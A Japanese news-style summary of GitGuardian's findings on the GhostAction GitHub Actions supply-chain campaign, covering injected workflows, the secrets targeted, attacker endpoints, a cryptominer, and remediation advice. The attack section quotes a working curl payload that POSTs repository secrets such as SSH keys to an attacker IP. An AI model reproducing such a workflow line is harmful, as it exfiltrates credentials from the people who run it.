概要
GitGuardianの調査により、GitHub Actionsのサプライチェーンを狙う攻撃キャンペーン「GhostAction」が2026年8月31日から9月30日にかけて再活性化し、373のGitHubユーザー・組織に属する772個の公開リポジトリを標的にしていたことが判明した。攻撃は8月31日(143リポジトリ)、9月2〜5日(ピークの9月5日は294件を含め約400リポジトリ)、9月15日(103リポジトリ)の3つの波に分かれて展開され、盗んだ認証情報を使って「github_actions_security.yml」という名前の偽装ワークフローをリポジトリに注入した。コミットメッセージは「Add Github Actions Security workflow」に統一されており、これが検知の手がかりとなった。最終的に合計2,577件のシークレットが標的となり、OSSのサプライチェーン全体への影響が懸念されている。
攻撃の手口
注入されたワークフローは、対象リポジトリに既存する正規のワークフローから ${{ secrets.NAME }} 形式のシークレット参照を抽出し、その値を curl のPOSTリクエストで外部サーバーへ送信する仕組みになっていた。例えば curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}' http://193.32.204.199 のようなペイロードが確認されている。標的となったシークレットの内訳は、SSH秘密鍵・デプロイ認証情報が446件と最多で、Azure認証情報218件、コンテナレジストリ認証情報142件、データベース認証情報112件、AWSアクセスキー106件、FTP認証情報92件、Google Cloud/Firebase認証情報80件、GitHubトークン66件と多岐にわたった。GitHub Actionsの実行記録は3,669件収集されたが、実際に実行されたのは499件、正常完了まで至ったのは336件で、最終的に13リポジトリから26個のシークレットが流出したとみられる。
2025年キャンペーンとの関連とクリプトマイナー混入
今回の調査では、2025年9月に一度報告されていた旧GhostActionキャンペーンが「決して停止していなかった」ことも明らかになった。攻撃者は過去に注入した92件のワークフローを修正し、流出先のエンドポイントを段階的に更新し続けていた(2025年9月: bold-dhawan.45-139-104-115.plesk.page および carte-avantage.com、2025年10月〜12月および2026年3月: 170.39.218.2、2026年8月〜9月: 193.32.204.199)。さらに調査の過程で、まったく別の脅威も発見された。8月30日、GhostActionと同じ侵害済みアカウントを使って、約6,000スターを持つ人気リポジトリ「kuafuai/DevOpsGPT」にXMRigのクリプトマイナーが埋め込まれていたのである。被害組織の13リポジトリは少なくとも4つの異なるマイニングキャンペーンの標的になっていたことも判明し、単一の侵害された認証情報が複数の攻撃者によって再利用され得るという、サプライチェーン攻撃特有のリスクが改めて浮き彫りになった。
対応状況と今後の教訓
10月5日時点で、感染が確認されたリポジトリのうち効果的に修復が完了していたのはわずか16%にとどまっており、対応の遅れが懸念される。GitGuardianは、被害者に対して流出したシークレットのローテーションだけでは不十分であり、「注入そのものを可能にした侵害済みのGitHub認証情報を発見・失効させる必要がある」と強調している。そうしなければ、同じ侵害された認証情報が別の攻撃者によって再利用され、新たな攻撃の足がかりとして使われ続ける可能性があるためだ。GitHub Actionsのワークフローに対する変更監視やシークレットスキャンの強化、そして認証情報漏洩の根本原因への対処が、OSSメンテナーに求められている。